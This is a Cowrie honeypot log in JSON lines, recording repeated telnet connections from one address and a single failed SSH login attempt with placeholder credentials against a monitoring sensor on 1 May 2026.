{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41846,"dst_ip":"159.203.135.109","dst_port":23,"session":"401304e5ca8e","protocol":"telnet","message":"New connection: 194.163.135.148:41846 (159.203.135.109:23) [session: 401304e5ca8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:38.769394Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41860,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3fa7c4f2553","protocol":"telnet","message":"New connection: 194.163.135.148:41860 (159.203.135.109:23) [session: a3fa7c4f2553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:39.607526Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41866,"dst_ip":"159.203.135.109","dst_port":23,"session":"92f2ae827e8e","protocol":"telnet","message":"New connection: 194.163.135.148:41866 (159.203.135.109:23) [session: 92f2ae827e8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:40.826644Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41900,"dst_ip":"159.203.135.109","dst_port":23,"session":"36642ac89c58","protocol":"telnet","message":"New connection: 194.163.135.148:41900 (159.203.135.109:23) [session: 36642ac89c58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:41.069286Z"}
{"eventid":"cowrie.session.closed","duration":32.93665957450867,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:44.767969Z","src_ip":"194.163.135.148","session":"e392110a1a52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41954,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfd1e6722645","protocol":"telnet","message":"New connection: 194.163.135.148:41954 (159.203.135.109:23) [session: dfd1e6722645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:44.889834Z"}
{"eventid":"cowrie.session.closed","duration":31.09468913078308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:46.695017Z","src_ip":"194.163.135.148","session":"f3e15a0a13ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.061503410339355,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:47.191689Z","src_ip":"194.163.135.148","session":"9d9a1fae6ce2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41992,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b56af298029","protocol":"telnet","message":"New connection: 194.163.135.148:41992 (159.203.135.109:23) [session: 3b56af298029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:47.238145Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41978,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d6d2e5dda68","protocol":"telnet","message":"New connection: 194.163.135.148:41978 (159.203.135.109:23) [session: 4d6d2e5dda68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:47.926037Z"}
{"eventid":"cowrie.session.closed","duration":31.529484748840332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:48.767497Z","src_ip":"194.163.135.148","session":"292d1733b075","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42010,"dst_ip":"159.203.135.109","dst_port":23,"session":"6feb8b950e66","protocol":"telnet","message":"New connection: 194.163.135.148:42010 (159.203.135.109:23) [session: 6feb8b950e66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:48.868260Z"}
{"eventid":"cowrie.session.closed","duration":31.047014713287354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:49.478607Z","src_ip":"194.163.135.148","session":"7067ba8fed77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42030,"dst_ip":"159.203.135.109","dst_port":23,"session":"cac9f099bc56","protocol":"telnet","message":"New connection: 194.163.135.148:42030 (159.203.135.109:23) [session: cac9f099bc56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:50.902206Z"}
{"eventid":"cowrie.session.closed","duration":33.883973121643066,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:52.502361Z","src_ip":"194.163.135.148","session":"845b723e89f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42058,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e2a3f945d7c","protocol":"telnet","message":"New connection: 194.163.135.148:42058 (159.203.135.109:23) [session: 2e2a3f945d7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:52.948602Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42078,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f6f209aba90","protocol":"telnet","message":"New connection: 194.163.135.148:42078 (159.203.135.109:23) [session: 3f6f209aba90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:53.981732Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42106,"dst_ip":"159.203.135.109","dst_port":23,"session":"8dd9c367a641","protocol":"telnet","message":"New connection: 194.163.135.148:42106 (159.203.135.109:23) [session: 8dd9c367a641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:54.570767Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42112,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ef1d2a241c8","protocol":"telnet","message":"New connection: 194.163.135.148:42112 (159.203.135.109:23) [session: 3ef1d2a241c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:56.125181Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42128,"dst_ip":"159.203.135.109","dst_port":23,"session":"30ab06e5d72a","protocol":"telnet","message":"New connection: 194.163.135.148:42128 (159.203.135.109:23) [session: 30ab06e5d72a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:57.148694Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42148,"dst_ip":"159.203.135.109","dst_port":23,"session":"95e83403119d","protocol":"telnet","message":"New connection: 194.163.135.148:42148 (159.203.135.109:23) [session: 95e83403119d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:57.471265Z"}
{"eventid":"cowrie.session.closed","duration":32.29809761047363,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:57.660322Z","src_ip":"194.163.135.148","session":"856512f17dd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96691608428955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:58.217224Z","src_ip":"194.163.135.148","session":"32e70fbc7d07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42172,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae8f8e0a34b4","protocol":"telnet","message":"New connection: 194.163.135.148:42172 (159.203.135.109:23) [session: ae8f8e0a34b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:58.973497Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42178,"dst_ip":"159.203.135.109","dst_port":23,"session":"76cdd2601d0c","protocol":"telnet","message":"New connection: 194.163.135.148:42178 (159.203.135.109:23) [session: 76cdd2601d0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:00.118538Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42194,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e4783e09687","protocol":"telnet","message":"New connection: 194.163.135.148:42194 (159.203.135.109:23) [session: 5e4783e09687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:00.226675Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42204,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fb211e51f21","protocol":"telnet","message":"New connection: 194.163.135.148:42204 (159.203.135.109:23) [session: 7fb211e51f21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:01.405381Z"}
{"eventid":"cowrie.session.closed","duration":30.374765872955322,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:02.059007Z","src_ip":"194.163.135.148","session":"400d451cfe86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42206,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fd27c644e85","protocol":"telnet","message":"New connection: 194.163.135.148:42206 (159.203.135.109:23) [session: 1fd27c644e85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:02.420324Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42226,"dst_ip":"159.203.135.109","dst_port":23,"session":"f66a601ce60e","protocol":"telnet","message":"New connection: 194.163.135.148:42226 (159.203.135.109:23) [session: f66a601ce60e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:02.484039Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42232,"dst_ip":"159.203.135.109","dst_port":23,"session":"1335e681ac86","protocol":"telnet","message":"New connection: 194.163.135.148:42232 (159.203.135.109:23) [session: 1335e681ac86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:02.657412Z"}
{"eventid":"cowrie.session.closed","duration":33.7478666305542,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:04.596773Z","src_ip":"194.163.135.148","session":"965fd1423e1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42262,"dst_ip":"159.203.135.109","dst_port":23,"session":"194146b2c78e","protocol":"telnet","message":"New connection: 194.163.135.148:42262 (159.203.135.109:23) [session: 194146b2c78e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:05.155304Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42268,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bcef4e8a984","protocol":"telnet","message":"New connection: 194.163.135.148:42268 (159.203.135.109:23) [session: 4bcef4e8a984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:05.169715Z"}
{"eventid":"cowrie.session.closed","duration":41.1210823059082,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:05.795048Z","src_ip":"194.163.135.148","session":"3fab0570590f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42288,"dst_ip":"159.203.135.109","dst_port":23,"session":"025050322500","protocol":"telnet","message":"New connection: 194.163.135.148:42288 (159.203.135.109:23) [session: 025050322500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:06.228851Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42290,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd4754f7135c","protocol":"telnet","message":"New connection: 194.163.135.148:42290 (159.203.135.109:23) [session: fd4754f7135c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:06.413829Z"}
{"eventid":"cowrie.session.closed","duration":35.40183162689209,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:06.812784Z","src_ip":"194.163.135.148","session":"bd9f7b187243","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42326,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5b6b412c42a","protocol":"telnet","message":"New connection: 194.163.135.148:42326 (159.203.135.109:23) [session: c5b6b412c42a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:08.018461Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42336,"dst_ip":"159.203.135.109","dst_port":23,"session":"57d141cca989","protocol":"telnet","message":"New connection: 194.163.135.148:42336 (159.203.135.109:23) [session: 57d141cca989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:08.255426Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42350,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfef03f16699","protocol":"telnet","message":"New connection: 194.163.135.148:42350 (159.203.135.109:23) [session: bfef03f16699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:09.270574Z"}
{"eventid":"cowrie.session.closed","duration":32.194215059280396,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:09.276285Z","src_ip":"194.163.135.148","session":"ef62ffa12f3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.110899686813354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:09.316607Z","src_ip":"194.163.135.148","session":"e6edb18528ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42360,"dst_ip":"159.203.135.109","dst_port":23,"session":"a42239295089","protocol":"telnet","message":"New connection: 194.163.135.148:42360 (159.203.135.109:23) [session: a42239295089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:09.588187Z"}
{"eventid":"cowrie.session.closed","duration":33.561094999313354,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:09.658288Z","src_ip":"194.163.135.148","session":"eb282d7277c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.77699828147888,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:09.719068Z","src_ip":"194.163.135.148","session":"53fc885a88bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42364,"dst_ip":"159.203.135.109","dst_port":23,"session":"a99fd961fe17","protocol":"telnet","message":"New connection: 194.163.135.148:42364 (159.203.135.109:23) [session: a99fd961fe17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:09.813273Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42342,"dst_ip":"159.203.135.109","dst_port":23,"session":"dab079d75f30","protocol":"telnet","message":"New connection: 194.163.135.148:42342 (159.203.135.109:23) [session: dab079d75f30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:09.989417Z"}
{"eventid":"cowrie.session.closed","duration":33.90126895904541,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:10.124663Z","src_ip":"194.163.135.148","session":"7d68036a8c2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42370,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a78178a4983","protocol":"telnet","message":"New connection: 194.163.135.148:42370 (159.203.135.109:23) [session: 2a78178a4983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:10.240451Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42384,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ce14e89a527","protocol":"telnet","message":"New connection: 194.163.135.148:42384 (159.203.135.109:23) [session: 9ce14e89a527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:10.840696Z"}
{"eventid":"cowrie.session.closed","duration":31.487589836120605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:11.094985Z","src_ip":"194.163.135.148","session":"a3fa7c4f2553","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.356393575668335,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:12.182867Z","src_ip":"194.163.135.148","session":"92f2ae827e8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":52468,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7cf941b1a97","protocol":"ssh","message":"New connection: 78.128.112.74:52468 (159.203.135.109:22) [session: b7cf941b1a97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:12.252256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:12.452505Z","src_ip":"78.128.112.74","session":"b7cf941b1a97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:12.457685Z","src_ip":"78.128.112.74","session":"b7cf941b1a97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"example","message":"login attempt [user/example] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:13.839079Z","src_ip":"78.128.112.74","session":"b7cf941b1a97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:14.961612Z","src_ip":"78.128.112.74","session":"b7cf941b1a97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.1111319065094,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:15.180330Z","src_ip":"194.163.135.148","session":"36642ac89c58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.90328669548035,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:15.672543Z","src_ip":"194.163.135.148","session":"401304e5ca8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42438,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5c051554239","protocol":"telnet","message":"New connection: 194.163.135.148:42438 (159.203.135.109:23) [session: b5c051554239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:16.115629Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42444,"dst_ip":"159.203.135.109","dst_port":23,"session":"34611af157a7","protocol":"telnet","message":"New connection: 194.163.135.148:42444 (159.203.135.109:23) [session: 34611af157a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:16.452569Z"}
{"eventid":"cowrie.session.closed","duration":32.01701378822327,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:16.906719Z","src_ip":"194.163.135.148","session":"dfd1e6722645","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42476,"dst_ip":"159.203.135.109","dst_port":23,"session":"be14e332d898","protocol":"telnet","message":"New connection: 194.163.135.148:42476 (159.203.135.109:23) [session: be14e332d898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:18.769722Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42484,"dst_ip":"159.203.135.109","dst_port":23,"session":"10403eafed36","protocol":"telnet","message":"New connection: 194.163.135.148:42484 (159.203.135.109:23) [session: 10403eafed36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:18.963958Z"}
{"eventid":"cowrie.session.closed","duration":30.695660829544067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:19.563558Z","src_ip":"194.163.135.148","session":"6feb8b950e66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.806605100631714,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:20.044646Z","src_ip":"194.163.135.148","session":"3b56af298029","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42518,"dst_ip":"159.203.135.109","dst_port":23,"session":"92528fee6313","protocol":"telnet","message":"New connection: 194.163.135.148:42518 (159.203.135.109:23) [session: 92528fee6313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:20.106508Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42524,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ec4686d90d7","protocol":"telnet","message":"New connection: 194.163.135.148:42524 (159.203.135.109:23) [session: 5ec4686d90d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:20.411388Z"}
{"eventid":"cowrie.session.closed","duration":32.76958966255188,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:20.695517Z","src_ip":"194.163.135.148","session":"4d6d2e5dda68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42532,"dst_ip":"159.203.135.109","dst_port":23,"session":"7845fdc46639","protocol":"telnet","message":"New connection: 194.163.135.148:42532 (159.203.135.109:23) [session: 7845fdc46639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:21.561358Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42544,"dst_ip":"159.203.135.109","dst_port":23,"session":"4dee89d0f3de","protocol":"telnet","message":"New connection: 194.163.135.148:42544 (159.203.135.109:23) [session: 4dee89d0f3de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:22.428069Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42554,"dst_ip":"159.203.135.109","dst_port":23,"session":"322beb6253f6","protocol":"telnet","message":"New connection: 194.163.135.148:42554 (159.203.135.109:23) [session: 322beb6253f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:22.629441Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42564,"dst_ip":"159.203.135.109","dst_port":23,"session":"00cb32e62e35","protocol":"telnet","message":"New connection: 194.163.135.148:42564 (159.203.135.109:23) [session: 00cb32e62e35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:22.797328Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42568,"dst_ip":"159.203.135.109","dst_port":23,"session":"813438ee9b5f","protocol":"telnet","message":"New connection: 194.163.135.148:42568 (159.203.135.109:23) [session: 813438ee9b5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:23.046691Z"}
